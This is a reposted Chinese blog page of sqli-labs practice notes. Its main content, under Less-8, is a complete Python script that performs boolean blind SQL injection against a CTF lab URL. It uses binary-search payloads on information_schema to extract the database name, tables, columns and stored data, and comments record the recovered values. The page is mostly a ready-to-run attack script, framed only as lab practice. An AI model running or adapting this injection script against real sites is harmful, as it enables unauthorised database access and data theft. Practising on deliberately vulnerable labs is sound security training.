Sqli-labs 练习
2021/9/10 19:06:28
本文主要是介绍Sqli-labs 练习,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
Less-7
Less-8
单引号盲注
import sys import time from requests_html import AsyncHTMLSession, HTMLSession start_time = time.time() session = HTMLSession() proxies = {} url = "http://650-d46eeb46-02dc-4746.nss.ctfer.vip:9080/Less-8/?id=0'" flag_success = 'You are in.' payload1_database_length = ' or length(database())={}%23' payload_database = ' or ord(substr(database(),{},1))>{}%23' payload_table = ' or ord( SUBSTR((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}%23' payload_column = ' or ord( SUBSTR((select group_concat(column_name) from information_schema.columns where table_name="{}"),{},1))>{}%23' payload_data = ' or ord( SUBSTR((select group_concat({column_name}) from {table_name}),{},1))>{}%23' def database_length(): for i in range(128): sql = url + payload1_database_length.format(i) res = session.get(sql) if flag_success in res.text: print('database length = ', i) break def database(): db = '' for i in range(1, 128): s = search(i, payload_database) if not 32 < ord(s) <= 128: break db += s print('database = ', db) def search(index, payload): low = 32 high = 128 mid = (low + high) // 2 while low < high: sql = url + payload.format(index, mid) res = session.get(sql) if flag_success in res.text: low = mid + 1 else: high = mid mid = (low + high) // 2 if mid == 32: break return chr(mid) def table(): db = '' for i in range(1, 128): s = search(i, payload_table) if not 32 < ord(s) <= 128: break db += s print('table = ', db) def column(table_name): db = '' for i in range(1, 128): s = search(i, payload_column.format(table_name, '{}', '{}')) if not 32 < ord(s) <= 128: break db += s print('column = ', db) def data(column_name, table_name): db = '' for i in range(1, 128): s = search(i, payload_data.format('{}', '{}', column_name=column_name, table_name=table_name)) if not 32 < ord(s) <= 128: break db += s print('data = ', db) if __name__ == '__main__': # database_length() database() # 'kanwolongxia' # table() # 'loflag' # column('loflag') # Id,flaglo # data('flaglo','loflag') # Id,flaglo print("--- %s seconds ---" % (time.time() - start_time))
这篇关于Sqli-labs 练习的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-10-06小米11i印度快充版ROM合集:极致体验,超越期待
- 2024-10-06【ROM下载】小米11i 5G 印度版系统, 疾速跃迁,定义新速度
- 2024-10-06【ROM下载】小米 11 青春活力版,青春无极限,活力全开
- 2024-10-05小米13T Pro系统合集:性能与摄影的极致融合,值得你升级的系统ROM
- 2024-10-01基于Python+Vue开发的医院门诊预约挂号系统
- 2024-10-01基于Python+Vue开发的旅游景区管理系统
- 2024-10-01RestfulAPI入门指南:打造简单易懂的API接口
- 2024-10-01初学者指南:了解和使用Server Action
- 2024-10-01Server Component入门指南:搭建与配置详解
- 2024-10-01React 中使用 useRequest 实现数据请求